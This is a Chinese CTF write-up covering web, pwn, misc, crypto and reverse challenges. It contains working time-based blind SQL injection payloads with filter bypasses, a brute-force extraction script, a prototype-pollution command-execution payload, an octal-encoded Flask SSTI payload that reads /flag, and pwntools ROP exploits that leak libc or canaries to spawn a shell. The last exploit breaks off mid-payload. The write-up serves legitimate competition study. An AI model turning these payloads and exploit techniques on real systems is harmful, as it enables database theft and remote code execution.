username=admin\u0026amp;password='/**/or/**/if(1,benchmark(1000000000,1),1)#（验证时间盲注存在） =，like，regexp全没了，用取模运算代替，进行逐字符判断；​ ascii被过滤了，用ord代替；​ substr、left被过滤了，用right代替。​ 此时若提取出的字符是不是模数的倍数，则不会延时，否则会延时。因为这样会时间特别长，在外面加个not。 username=admin\u0026amp;password='/**/or/**/if((not(select(ord(right(database(),%d)))%%(%d))),benchmark(1000000000,1),1)#\u0026quot; % (i,j)（获取数据库名 ctfgame）​ username=admin\u0026amp;password='/**/or/**/if((not(select(ord(right(version(),%d)))%%(%d))),benchmark(1000000000,1),1)#\u0026quot; % (i,j)（获取版本号 5.7.39）​ information被滤，使用sys.schema_table_statistics_with_buffer库获取表名。​ username=admin\u0026amp;password='/**/or/**/if(not((select/**/ord(right(group_concat(table_name),%d))%%(%d)/**/from/**/sys.schema_table_statistics_with_buffer)),benchmark(1000000000,1),1)#\u0026quot; % (i,j) （获取表名 Fl49ish3re）​ 尝试无列名注入，但没有union；赌表里只有一列，发现不是。​ username=admin\u0026amp;password='/**/or/**/if((ord(right((select/**/*/**/from/**/Fl49ish3re/**/limit/**/0,1),1))%(52)),benchmark(1000000000,1),1);（表里只有一列情况下的无列名注入）​ 网上搜索，找到flag所处的列名f1aG123​ https://hwwg.github.io/2021/09/17/2021%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E5%A4%A7%E8%B5%9B/​ 获取flag。​ \u0026quot;username=admin\u0026amp;password='/**/or/**/if(not(ord(right((select/**/group_concat(f1aG123)/**/from/**/Fl49ish3re),%d))%%(%d)),benchmark(1000000000,1),1)#\u0026quot; % (i, ord(j))\nimport time​ ​ import requests​ import string​ ​ headers = {\u0026#34;Content-Type\u0026#34;:\u0026#34;application/x-www-form-urlencoded\u0026#34;}​ url=\u0026#34;http://172.51.223.119/index.php\u0026#34;​ proxy={\u0026#34;http\u0026#34;:\u0026#34;http://127.0.0.1:8080\u0026#34;}​ result=\u0026#34;\u0026#34;​ ​ record=0​ s=string.digits+string.ascii_letters+\u0026#34;{}_\u0026#34;​ for i in range(1,200):​ for j in s:​ #data = \u0026#34;username=admin\u0026amp;password=\u0026#39;/**/or/**/if(1,benchmark(1000000000,1),1)#\u0026#34;​ #data = \u0026#34;username=admin\u0026amp;password=\u0026#39;/**/or/**/if((not(select(ord(right(database(),%d)))%%(%d))),benchmark(1000000000,1),1)#\u0026#34; % (i,j)​ #data = \u0026#34;username=admin\u0026amp;password=\u0026#39;/**/or/**/if((not(select(ord(right(version(),%d)))%%(%d))),benchmark(1000000000,1),1)#\u0026#34; % (i,j)​ #data = \u0026#34;username=admin\u0026amp;password=\u0026#39;/**/or/**/if(not((select/**/ord(right(group_concat(table_name),%d))%%(%d)/**/from/**/sys.schema_table_statistics_with_buffer)),benchmark(1000000000,1),1)#\u0026#34; % (i,j)​ ##data = \u0026#34;username=admin\u0026amp;password=\u0026#39;/**/or/**/if((select/**/ord(right(group_concat(concat(table_name,column_name)),%d))%%(%d)/**/from/**/sys.schema_auto_increment_columns),benchmark(1000000000,1),1)#\u0026#34; % (i, j)​ data=\u0026#34;username=admin\u0026amp;password=\u0026#39;/**/or/**/if(not(ord(right((select/**/group_concat(f1aG123)/**/from/**/Fl49ish3re),%d))%%(%d)),benchmark(1000000000,1),1)#\u0026#34; % (i, ord(j))​ t = time.time()​ #req=requests.post(url,data=data,proxies=proxy,headers=headers)​ req = requests.post(url, data=data,headers=headers)​ if time.time()-t\u0026gt;1:​ record = ord(j)​ break​ print(data)​ print(time.time() - t)​ ​ result+=chr(record)​ print(result) WHOYOUARE 原型链污染​ payload：\n{\u0026#34;user\u0026#34;:\u0026#34;{\\\u0026#34;constructor\\\u0026#34;:{\\\u0026#34;prototype\\\u0026#34;:{\\\u0026#34;1\\\u0026#34;:\\\u0026#34;cat /flag\\\u0026#34;}},\\\u0026#34;command\\\u0026#34;:[]}\u0026#34;} 污染source的原型，在key=1时通过source原型的值覆盖原来那个[-c,id]里面的id为自己的可控命令，实现任命令执行。​\nrequest.user = { username: \u0026#39;guest\u0026#39;, command: [ \u0026#39;-c\u0026#39;, \u0026#39;cat /flag\u0026#39; ] } 没有人比我更懂py​ flask_SSTI注入，过滤了所有字母。​ 八进制绕过即可，剩下的和NewStar新生赛第四周那题差不多。\nx=\u0026#34;原始payload\u0026#34;​ y=\u0026#39;\u0026#39;​ s=string.ascii_letters​ for i in range(len(x)):​ if x[i] in s:​ y+=\u0026#39;\\%o\u0026#39; % ord(x[i])​ else:​ y+=x[i]​ print(y) {{\u0026#39;\u0026#39;[\u0026#39;__\\143\\154\\141\\163\\163__\u0026#39;][\u0026#39;__\\142\\141\\163\\145\\163__\u0026#39;][\u0026#39;__\\147\\145\\164\\151\\164\\145\\155__\u0026#39;](0)[\u0026#39;__\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163__\u0026#39;]()[\u0026#39;__\\147\\145\\164\\151\\164\\145\\155__\u0026#39;](132)[\u0026#39;__\\151\\156\\151\\164__\u0026#39;][\u0026#39;__\\147\\154\\157\\142\\141\\154\\163__\u0026#39;][\u0026#39;__\\147\\145\\164\\151\\164\\145\\155__\u0026#39;](\u0026#39;\\160\\157\\160\\145\\156\u0026#39;)(\u0026#39;\\143\\141\\164 /\\146\\154\\141\\147\u0026#39;)[\u0026#39;\\162\\145\\141\\144\u0026#39;]()}} Pwn bfbf from pwn import *​ import sys​ # context.log_level = \u0026#34;debug\u0026#34;​ ​ if len(sys.argv) \u0026lt; 2:​ debug = True​ else:​ debug = False​ ​ if debug:​ p = process(\u0026#39;./pwn\u0026#39;)​ libc = ELF(\u0026#34;/lib/x86_64-linux-gnu/libc.so.6\u0026#34;)​ else:​ p = remote(\u0026#34;172.51.223.12\u0026#34;, 9999)​ libc = ELF(\u0026#34;./libc.so.6\u0026#34;)​ ​ ru = lambda x : p.recvuntil(x)​ sn = lambda x : p.send(x)​ rl = lambda : p.recvline()​ sl = lambda x : p.sendline(x)​ rv = lambda x : p.recv(x)​ sa = lambda a,b : p.sendafter(a,b)​ sla = lambda a,b : p.sendlineafter(a, b)​ ​ def debugf(b=0):​ if debug:​ if b:​ gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b)))​ else:​ gdb.attach(p)​ ​ context.log_level = \u0026#39;debug\u0026#39;​ main_ret = 0x1982​ main_read = 0x17e3​ ​ rl()​ ​ payload = b\u0026#39;\u0026#39;​ payload += b\u0026#39;\u0026gt;\u0026#39; * (0x228-3*8)​ ​ ​ ​ payload += b\u0026#39;\u0026gt;\u0026#39; * (4*8)​ payload += b\u0026#39;\u0026gt;\u0026#39; * 0x8​ # libc​ payload += b\u0026#39;.\u0026#39;​ for i in range(5):​ payload += b\u0026#39;\u0026gt;\u0026#39;​ payload += b\u0026#39;.\u0026#39;​ payload += b\u0026#39;\u0026gt;\u0026#39; * 3​ ​ payload += b\u0026#39;\u0026lt;\u0026#39;*8​ ​ payload += b\u0026#39;,\u0026gt;\u0026#39;*(8* 30)​ # payload += b\u0026#39;\u0026lt;\u0026#39; *0x58​ ​ debugf(0x1982)​ # raw_input(\u0026#39;\u0026gt; \u0026#39;)​ sl(payload)​ sleep(1)​ leak = u64(rv(6) + b\u0026#39;\\x00\u0026#39;*2)​ libc.address = leak -0x24083​ warning(hex(libc.address))​ r12_ret = 0x000000000002f709 + libc.address​ rdi_ret = 0x0000000000023b6a+libc.address​ rsi_ret = 0x000000000002601f + libc.address​ one = 0xe3afe + libc.address​ ret = 0x0000000000022679 + libc.address​ rcx_rbx = 0x000000000010257e+libc.address​ rdx_ret = 0x0000000000142c92 + libc.address​ binsh = next(libc.search(b\u0026#39;/bin/sh\\x00\u0026#39;))​ flag = libc.address + 0x1ec000 + 0x100​ rax = 0x0000000000036174 + libc.address​ syscall = 0x00000000000630a9 + libc.address​ ​ ​ pay = p64(rdi_ret) + p64(0) ​ pay += p64(rsi_ret) + p64(flag)​ pay += p64(rdx_ret) + p64(8)​ pay += p64(rax) + p64(0)​ pay += p64(syscall)​ ​ pay += p64(rdi_ret) + p64(flag) ​ pay += p64(rsi_ret) + p64(0)​ pay += p64(rdx_ret) + p64(0)​ pay += p64(rax) + p64(2)​ pay += p64(syscall)​ ​ pay += p64(rdi_ret) + p64(1) ​ pay += p64(rsi_ret) + p64(3)​ pay += p64(rdx_ret) + p64(0x0)​ pay += p64(rcx_rbx) + p64(0x20)*2​ pay += p64(rax) + p64(0x28)​ pay += p64(syscall)​ ​ p.send(pay)​ p.send(b\u0026#39;flag\\x00\\n\u0026#39;)​ # p.sendline(\u0026#39;cat flag\u0026#39;)​ ​ p.interactive() Misc welcome 签到，复制粘贴。​\nS3qUenCEs​ 序列按照模k划分等价类，可以推导出一次操作会让所有等价类的其中一位取反，即让等价类的全部奇偶性整体改变，故分类讨论最终取反数量是奇数还是偶数，在等价类内排序贪心取数即可。​\n#include\u0026lt;bits/stdc++.h\u0026gt;​ using namespace std;​ #define mem(a,b) memset(a,b,sizeof(a))​ typedef long long LL;​ typedef pair\u0026lt;int,int\u0026gt; PII;​ #define X first​ #define Y second​ inline LL read()​ {​ LL x=0,f=1;char c=getchar();​ while(!isdigit(c)){if(c==\u0026#39;-\u0026#39;)f=-1;c=getchar();}​ while(isdigit(c)){x=x*10+c-\u0026#39;0\u0026#39;;c=getchar();}​ return x*f;​ }​ const int maxn=1000010;​ int n,k;​ LL a[maxn],ans1,ans2;​ vector \u0026lt;LL\u0026gt; V[maxn],pre[maxn];​ int main()​ {​ freopen(\u0026#34;input.txt\u0026#34;,\u0026#34;r\u0026#34;,stdin);​ n=read();k=read();​ for(int i=0;i\u0026lt;n;i++)a[i]=read(),V[i%k].push_back(a[i]);​ for(int i=0;i\u0026lt;k;i++)sort(V[i].begin(),V[i].end());​ for(int i=0;i\u0026lt;k;i++){​ LL tmp=0;​ for(auto u: V[i]){​ tmp+=u;​ pre[i].push_back(tmp);​ }​ }​ for(int i=0;i\u0026lt;k;i++){​ LL now_ans=pre[i][V[i].size()-1];​ for(int j=2;j\u0026lt;=V[i].size();j+=2){​ now_ans=max(now_ans,pre[i][V[i].size()-1]-2*pre[i][j-1]);​ }​ ans1+=now_ans;​ }​ for(int i=0;i\u0026lt;k;i++){​ LL now_ans=pre[i][V[i].size()-1]-2*pre[i][0];​ for(int j=3;j\u0026lt;=V[i].size();j+=2){​ now_ans=max(now_ans,pre[i][V[i].size()-1]-2*pre[i][j-1]);​ }​ ans2+=now_ans;​ }​ printf(\u0026#34;%lld\\n\u0026#34;,max(ans1,ans2));​ return 0;​ }​ from pwn import *​ import re​ import os​ ​ r = remote(\u0026#34;172.51.223.76\u0026#34;,9999)​ ​ ​ print(r.recv())​ ​ for i in range(100):​ s = str(r.recvuntil(b\u0026#34;Challenge Input:\u0026#34;))​ ss = r.recvuntil(b\u0026#34;Give me your output\u0026#34;)​ with open(\u0026#39;input.txt\u0026#39;,\u0026#39;wb\u0026#39;) as f:​ f.write(ss)​ f.close()​ ​ ans = os.popen(\u0026#34;.\\\\a.exe\u0026#34;).read().strip() # gcc编译sol.cpp得到a.exe​ print(ans)​ r.sendline(ans.encode())​ print(r.recv())​ print(r.recv()) Babymisc​ 猜数问题，需要在15步之内猜出一个六位数，可以采用二分法。​ 由于六位数二分法最多需要19次才能完全猜中，因此无法在100000-999999范围内猜。可以找一个长度为20000-30000的范围进行查找，若答案落在该范围内，则在15步内可以精确命中。​ 多运行几次脚本，直至某一次答案落在范围内即可。\nfrom pwn import *​ context.log_level=\u0026#34;debug\u0026#34;​ import os​ while True:​ r = remote(\u0026#34;172.51.223.233\u0026#34;,9999)​ r.recvuntil(b\u0026#34;select start\\n\u0026gt;\u0026#34;)​ r.sendline(\u0026#39;Y\u0026#39;.encode())​ left = 500000​ right = 530000​ low, up = False, False​ s = str(r.recvuntil(b\u0026#34;enter a number:\u0026#34;))​ k = (left + right) // 2​ r.sendline(str(k).encode())​ for i in range(14):​ s = str(r.recvuntil(b\u0026#34;enter a number:\u0026#34;))​ if \u0026#34;low\u0026#34; in s:​ left = k​ low = True​ else:​ right = k​ up = True​ k = (left + right) // 2​ r.sendline(str(k).encode())​ res = str(r.recv())​ print(up, low)​ if up == True and low == True:​ break​ if not \u0026#34;lost\u0026#34; in res:​ print(res)​ break Crypto weekrandom 运行下源程序发现每一轮随机数result的后四位和x的后四位一样，前四位是sha256(x)哈希结果的[-8:-4]切片，x的十六进制串大概只有8-9位。​ 因此先随机交个数拿到第一个result，在0-0xfffff中爆破x的前五位和result后四位拼一下，算sha256的[-8:-4]是否等于result的前四位。​ 只算一轮的话可能有多个x满足条件，可以再提交一个数得到第二轮可能的x，看看第一轮的所有可能的值i中是否有一个i满足(i^2//100) % 10000000000在第二轮可能的值中，即可找到x链。\nfrom pwn import *​ from hashlib import sha256​ from re import findall​ ​ ​ def next(x):​ x = int((x ** 2) // (10 ** (4 // 2))) % 10000000000​ high = (int(hashlib.sha256(str(x).encode()).hexdigest(),16) \u0026gt;\u0026gt; 16) \u0026amp; (2 ** 16 - 1)​ low = x \u0026amp; (2 ** 16 - 1)​ result = high \u0026lt;\u0026lt; 16 | low​ return x,result​ ​ ​ ​ r = remote(\u0026#34;172.51.223.64\u0026#34;,9998)​ alp = \u0026#34;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\u0026#34;​ ​ Pow = str(r.recv())​ ​ given = Pow[14:30]​ target = Pow[35:-18]​ ​ for i in alp:​ for j in alp:​ for k in alp:​ for l in alp:​ if sha256((i+j+k+l+given).encode()).hexdigest() == target:​ r.sendline((i+j+k+l).encode())​ break​ ​ print(i+j+k+l)​ s = r.recv()​ print(s)​ ​ r.sendline(\u0026#39;1\u0026#39;.encode())​ ininum = int(findall(\u0026#39;\\d+\u0026#39;,str(r.recv()))[0])​ print(ininum)​ xlow = hex(ininum)[2:].zfill(8)[4:]​ thash = hex(ininum)[2:].zfill(8)[:4]​ pos1 = []​ for i in range(0xfffff):​ x = int(hex(i)[2:].zfill(5) + xlow,16)​ allhash = hashlib.sha256(str(x).encode()).hexdigest()​ if allhash[-8:-4] == thash:​ pos1.append(x)​ ​ print(pos1)​ ​ r.sendline(\u0026#39;1\u0026#39;.encode())​ ininum = int(findall(\u0026#39;\\d+\u0026#39;,str(r.recv()))[0])​ print(ininum)​ xlow = hex(ininum)[2:].zfill(8)[4:]​ thash = hex(ininum)[2:].zfill(8)[:4]​ pos2 = []​ for i in range(0xfffff):​ x = int(hex(i)[2:].zfill(5) + xlow,16)​ allhash = hashlib.sha256(str(x).encode()).hexdigest()​ if allhash[-8:-4] == thash:​ pos2.append(x)​ ​ print(pos2)​ ​ for i in pos1:​ if (i**2 // 100) % 10000000000 in pos2:​ inix = i​ break​ ​ print(inix)​ ​ ​ res = []​ for i in range(100):​ inix,result = next(inix)​ if i != 0:​ res.append(result)​ ​ for i in range(98):​ r.sendline(str(res[i]).encode())​ print(r.recv()) Reverse Indir 通过给的附件，加上分析发现是虚拟机，有一大堆跳转混淆，将寄存器跳转改为真实地址跳转，main函数如下​ 虚拟机解析过程在sub_402780​ 分析写出反汇编器​\nctx=open(\u0026#39;code\u0026#39;,\u0026#39;rb\u0026#39;).read()​ # for i in range(0,0x35c,4):​ # instr=int.from_bytes(ctx[i:i+4],\u0026#39;little\u0026#39;)​ # datatype=(instr\u0026gt;\u0026gt;22)\u0026amp;7​ # if datatype!=6 and datatype!=5 and datatype!=3:​ # print(i,datatype)​ disasm=\u0026#39;\u0026#39;​ for i in range(0,0x35c,4):​ instr=int.from_bytes(ctx[i:i+4],\u0026#39;little\u0026#39;)​ mnemonic=(instr\u0026gt;\u0026gt;25)\u0026amp;0xf​ datatype=(instr\u0026gt;\u0026gt;22)\u0026amp;7​ opstr=\u0026#39;\u0026#39;​ disasm+=str(i)+\u0026#39;: \u0026#39;​ if mnemonic==0:​ disasm+=\u0026#39;ror\u0026#39;​ elif mnemonic==1:​ disasm+=\u0026#39;ld\u0026#39;​ elif mnemonic==2:​ disasm+=\u0026#39;io\u0026#39;​ elif mnemonic==3:​ disasm+=\u0026#39;sub\u0026#39;​ elif mnemonic==4:​ disasm+=\u0026#39;mod\u0026#39;​ elif mnemonic==5:​ disasm+=\u0026#39;div\u0026#39;​ elif mnemonic==6:​ disasm+=\u0026#39;mov\u0026#39;​ elif mnemonic==7:​ disasm+=\u0026#39;rsh\u0026#39;​ elif mnemonic==8:​ disasm+=\u0026#39;st\u0026#39;​ elif mnemonic==9:​ disasm+=\u0026#39;ret\u0026#39;​ elif mnemonic==10:​ disasm+=\u0026#39;lsh\u0026#39;​ elif mnemonic==11:​ disasm+=\u0026#39;add\u0026#39;​ elif mnemonic==12:​ disasm+=\u0026#39;mul\u0026#39;​ elif mnemonic==13:​ disasm+=\u0026#39;call\u0026#39;​ elif mnemonic==14:​ disasm+=\u0026#39;rol\u0026#39;​ elif mnemonic==15:​ disasm+=\u0026#39;jmp\u0026#39;​ ​ if mnemonic!=13:​ disasm+=\u0026#39;\\t\u0026#39;​ ​ if datatype==3:​ imm=(instr\u0026gt;\u0026gt;6)\u0026amp;0xffff​ opstr=str(imm)​ elif datatype==5:​ r1=(instr\u0026gt;\u0026gt;19)\u0026amp;7​ imm=(instr\u0026gt;\u0026gt;3)\u0026amp;0xffff​ r2=(instr)\u0026amp;7​ opstr=\u0026#39;r\u0026#39;+str(r1)+\u0026#39;,\u0026#39;+str(imm)​ elif datatype==6:​ r1=(instr\u0026gt;\u0026gt;19)\u0026amp;7​ r2=(instr\u0026gt;\u0026gt;16)\u0026amp;7​ imm=(instr)\u0026amp;0xffff​ opstr=\u0026#39;r\u0026#39;+str(r1)+\u0026#39;,r\u0026#39;+str(r2)+\u0026#39;,\u0026#39;+str(imm)​ elif datatype==7:​ r1=(instr\u0026gt;\u0026gt;19)\u0026amp;7​ r2=(instr\u0026gt;\u0026gt;16)\u0026amp;7​ r3=(instr\u0026gt;\u0026gt;13)\u0026amp;7​ opstr=\u0026#39;r\u0026#39;+str(r1)+\u0026#39;,r\u0026#39;+str(r2)+\u0026#39;,r\u0026#39;+str(r3)​ ​ disasm+=\u0026#39;\\t\u0026#39;+opstr+\u0026#39;\\n\u0026#39;​ ​ open(\u0026#39;disas\u0026#39;,\u0026#39;w\u0026#39;).write(disasm) 得到反汇编代码，分析即可得解​\n0: mov r0,860​ 4: call 740 #输出​ 8: mov r0,4096​ 12: call 692​ 16: mov r0,4096​ 20: mov r1,0​ 24: mul r2,r1,4​ 28: ld r3,r0,r2​ 32: add r4,r1,6​ 36: mod r4,r4,16​ 40: mul r4,r4,4​ 44: ld r5,r0,r4​ 48: ror r5,r5,6​ 52: sub r3,r3,r5​ 56: st r3,r0,r2​ 60: add r1,r1,1​ 64: mul r2,r1,4​ 68: ld r3,r0,r2​ 72: add r4,r1,8​ 76: mod r4,r4,16​ 80: mul r4,r4,4​ 84: ld r5,r0,r4​ 88: rol r5,r5,4​ 92: add r3,r3,r5​ 96: st r3,r0,r2​ 100: add r1,r1,1​ 104: mul r2,r1,4​ 108: ld r3,r0,r2​ 112: add r4,r1,10​ 116: mod r4,r4,16​ 120: mul r4,r4,4​ 124: ld r5,r0,r4​ 128: rol r5,r5,5​ 132: add r3,r3,r5​ 136: st r3,r0,r2​ 140: add r1,r1,1​ 144: mul r2,r1,4​ 148: ld r3,r0,r2​ 152: add r4,r1,1​ 156: mod r4,r4,16​ 160: mul r4,r4,4​ 164: ld r5,r0,r4​ 168: rol r5,r5,3​ 172: add r3,r3,r5​ 176: st r3,r0,r2​ ​ 180: add r1,r1,1​ 184: mul r2,r1,4​ 188: ld r3,r0,r2​ 192: add r4,r1,4​ 196: mod r4,r4,16​ 200: mul r4,r4,4​ 204: ld r5,r0,r4​ 208: rol r5,r5,10​ 212: add r3,r3,r5​ 216: st r3,r0,r2​ ​ 220: add r1,r1,1​ 224: mul r2,r1,4​ 228: ld r3,r0,r2​ 232: add r4,r1,10​ 236: mod r4,r4,16​ 240: mul r4,r4,4​ 244: ld r5,r0,r4​ 248: ror r5,r5,9​ 252: sub r3,r3,r5​ 256: st r3,r0,r2​ ​ 260: add r1,r1,1​ 264: mul r2,r1,4​ 268: ld r3,r0,r2​ 272: add r4,r1,2​ 276: mod r4,r4,16​ 280: mul r4,r4,4​ 284: ld r5,r0,r4​ 288: ror r5,r5,2​ 292: sub r3,r3,r5​ 296: st r3,r0,r2​ ​ 300: add r1,r1,1​ 304: mul r2,r1,4​ 308: ld r3,r0,r2​ 312: add r4,r1,2​ 316: mod r4,r4,16​ 320: mul r4,r4,4​ 324: ld r5,r0,r4​ 328: rol r5,r5,12​ 332: add r3,r3,r5​ 336: st r3,r0,r2​ ​ 340: add r1,r1,1​ 344: mul r2,r1,4​ 348: ld r3,r0,r2​ 352: add r4,r1,7​ 356: mod r4,r4,16​ 360: mul r4,r4,4​ 364: ld r5,r0,r4​ 368: ror r5,r5,1​ 372: sub r3,r3,r5​ 376: st r3,r0,r2​ ​ 380: add r1,r1,1​ 384: mul r2,r1,4​ 388: ld r3,r0,r2​ 392: add r4,r1,5​ 396: mod r4,r4,16​ 400: mul r4,r4,4​ 404: ld r5,r0,r4​ 408: ror r5,r5,11​ 412: sub r3,r3,r5​ 416: st r3,r0,r2​ ​ 420: add r1,r1,1​ 424: mul r2,r1,4​ 428: ld r3,r0,r2​ 432: add r4,r1,1​ 436: mod r4,r4,16​ 440: mul r4,r4,4​ 444: ld r5,r0,r4​ 448: ror r5,r5,10​ 452: sub r3,r3,r5​ 456: st r3,r0,r2​ ​ 460: add r1,r1,1​ 464: mul r2,r1,4​ 468: ld r3,r0,r2​ 472: add r4,r1,1​ 476: mod r4,r4,16​ 480: mul r4,r4,4​ 484: ld r5,r0,r4​ 488: rol r5,r5,6​ 492: add r3,r3,r5​ 496: st r3,r0,r2​ ​ 500: add r1,r1,1​ 504: mul r2,r1,4​ 508: ld r3,r0,r2​ 512: add r4,r1,8​ 516: mod r4,r4,16​ 520: mul r4,r4,4​ 524: ld r5,r0,r4​ 528: ror r5,r5,15​ 532: sub r3,r3,r5​ 536: st r3,r0,r2​ ​ 540: add r1,r1,1​ 544: mul r2,r1,4​ 548: ld r3,r0,r2​ 552: add r4,r1,11​ 556: mod r4,r4,16​ 560: mul r4,r4,4​ 564: ld r5,r0,r4​ 568: ror r5,r5,8​ 572: sub r3,r3,r5​ 576: st r3,r0,r2​ ​ 580: add r1,r1,1​ 584: mul r2,r1,4​ 588: ld r3,r0,r2​ 592: add r4,r1,13​ 596: mod r4,r4,16​ 600: mul r4,r4,4​ 604: ld r5,r0,r4​ 608: rol r5,r5,1​ 612: add r3,r3,r5​ 616: st r3,r0,r2​ ​ 620: add r1,r1,1​ 624: mul r2,r1,4​ 628: ld r3,r0,r2​ 632: add r4,r1,14​ 636: mod r4,r4,16​ 640: mul r4,r4,4​ 644: ld r5,r0,r4​ 648: ror r5,r5,1​ 652: sub r3,r3,r5​ 656: st r3,r0,r2​ ​ 660: add r1,r1,1​ 664: mov r0,4096​ 668: mov r1,912​ 672: mov r2,64​ 676: call 112​ 680: sub r0,r0,0​ 684: jmp 8​ 688: mov r0,884​ 692: jmp 4​ 696: mov r0,894​ 700: call 44​ 704: io 2​ ​ 708: mov r6,r0,r0​ 712: mov r5,r0,r0​ 716: io 0​ 720: sub r1,r0,10​ 724: jmp 8​ 728: sub r0,r5,r6​ 732: ret r0,r0,r0​ 736: st r0,r6,0​ 740: add r6,r6,1​ 744: jmp 65504​ ​ 748: mov r6,r0,r0​ 752: ld r0,r6,0​ 756: rsh r1,r0,8​ 760: lsh r1,r1,8​ 764: sub r0,r0,r1​ 768: sub r1,r0,0​ 772: jmp 4​ 776: ret r0,r0,r0​ 780: io 1​ 784: add r6,r6,1​ 788: jmp 65496​ ​ 792: mov r3,0​ 796: jmp 44​ 800: ld r4,r0,r3​ 804: rsh r5,r4,8​ 808: lsh r6,r5,8​ 812: sub r4,r4,r6​ 816: ld r5,r1,r3​ 820: rsh r6,r5,8​ 824: lsh r7,r6,8​ 828: sub r5,r5,r7​ 832: sub r4,r4,r5​ 836: jmp 12​ 840: add r3,r3,1​ 844: sub r4,r3,r2​ 848: jmp 65484​ 852: mov r0,r4,r0​ 856: ret r0,r0,r0​ def ror(a,b):​ return (a\u0026gt;\u0026gt;b)|((a\u0026lt;\u0026lt;(32-b))\u0026amp;0xffffffff)​ ​ def rol(a,b):​ return ((a\u0026lt;\u0026lt;b)\u0026amp;0xffffffff)|(a\u0026gt;\u0026gt;(32-b))​ ​ enc=open(\u0026#39;code\u0026#39;,\u0026#39;rb\u0026#39;).read()[0x390:0x3d0]​ enc=[int.from_bytes(enc[i:i+4],\u0026#39;little\u0026#39;) for i in range(0,64,4)]​ enc[15]+=ror(enc[13],1)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[14]-=rol(enc[11],1)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[13]+=ror(enc[8],8)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[12]+=ror(enc[4],15)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[11]-=rol(enc[12],6)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[10]+=ror(enc[11],10)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[9]+=ror(enc[14],11)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[8]+=ror(enc[15],1)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[7]-=rol(enc[9],12)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[6]+=ror(enc[8],2)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[5]+=ror(enc[15],9)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[4]-=rol(enc[8],10)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[3]-=rol(enc[4],3)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[2]-=rol(enc[12],5)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[1]-=rol(enc[9],4)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ enc[0]+=ror(enc[6],6)​ for i in range(16):​ enc[i]\u0026amp;=0xffffffff​ print(list(map(hex,enc)))​ from libnum import n2s​ print(b\u0026#39;\u0026#39;.join(list(map(n2s,enc))))​ k = \u0026#34;}ll4c_7c3r1dn1_dn4_hcn4rb_7c3r1dn1_h71w_mv{galf\u0026#34;[::-1]​ print(k)​ s=[0]*20​ i=0​ # s[0]-=s[6]\u0026gt;\u0026gt;\u0026gt;6​ # s[1]+=s[9]\u0026lt;\u0026lt;\u0026lt;4​ # s[2]+=s[12]\u0026lt;\u0026lt;\u0026lt;5​ # s[3]+=s[4]\u0026lt;\u0026lt;\u0026lt;3​ # s[4]+=s[8]\u0026lt;\u0026lt;\u0026lt;10​ # s[5]-=s[15]\u0026gt;\u0026gt;\u0026gt;9​ # s[6]-=s[8]\u0026gt;\u0026gt;\u0026gt;2​ # s[7]+=s[9]\u0026lt;\u0026lt;\u0026lt;12​ # s[8]-=s[15]\u0026gt;\u0026gt;\u0026gt;1​ # s[9]-=s[14]\u0026gt;\u0026gt;\u0026gt;11​ # s[10]-=s[11]\u0026gt;\u0026gt;\u0026gt;10​ # s[11]+=s[12]\u0026lt;\u0026lt;\u0026lt;6​ # s[12]-=s[4]\u0026gt;\u0026gt;\u0026gt;15​ # s[13]-=s[8]\u0026gt;\u0026gt;\u0026gt;8​ # s[14]+=s[11]\u0026lt;\u0026lt;\u0026lt;1​ # s[15]-=s[13]\u0026gt;\u0026gt;\u0026gt;1 comeongo 动态调试分析代码即可知道，源代码分为两处check：maincheck1和maincheck2，第一处check将用户名前八字节和密码前八字节进行base58，即main_runtime_Encoding函数​ main_check2首先将用户名8~12字节+字符‘vG’+密码10~12字节拼接做base64，即main_Encoding函数​,再做一些字符ascii值加减，即main_encryptBytes函数，最后比较​ 提取对应字符​\nuser=\u0026#39;GoM0bi13\u0026#39;+\u0026#39;_BingGo@\u0026#39;​ psw=\u0026#39;G3tItEzF\u0026#39;+\u0026#39;orRevG0!\u0026#39;​ print(user)​ print(psw) 输入验证​,然后求出md5即可​\nMimic pwn1 from pwn import *​ ​ context.log_level = \u0026#39;debug\u0026#39;​ # context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;, \u0026#39;-F\u0026#39;, \u0026#39;#{pane_pid}\u0026#39;, \u0026#39;-P\u0026#39;]​ ​ p = process(\u0026#39;./pwn1\u0026#39;)​ ​ getshell_addr = 0x0A00​ func_func_addr = 0x0A94​ ​ pop_rdi_ret = 0xc73​ call_system = 0xa2c​ binsh_addr = 0x202068​ ​ p.recvuntil(b\u0026#39;try something\\n\u0026#39;)​ p.sendline(b\u0026#39;1\u0026#39;)​ ​ p.recvuntil(b\u0026#39;some tricks\\n\u0026#39;)​ func_addr = p.recvline()​ func_addr = int(func_addr.strip(), 16)​ print (f\u0026#39;func_addr: {hex(func_addr)}\u0026#39;)​ ​ base_addr = func_addr - func_func_addr​ ​ p.sendline(b\u0026#39;2\u0026#39;)​ p.recvuntil(b\u0026#39;hello\u0026#39;)​ ​ p.sendline(b\u0026#39;a\u0026#39; * 0xc8)​ p.recvline()​ p.recvline()​ canary = p.recv(7)​ print (f\u0026#39;canary: {canary}\u0026#39;)​ gdb.attach(p, \u0026#39;b *$rebase(0xb03)\u0026#39;)​ ​ payload = p64(base_addr + pop_rdi_ret)​ payload += p64(base_addr + binsh_addr)​ payload += p64(base_addr + call_system)​ ​ 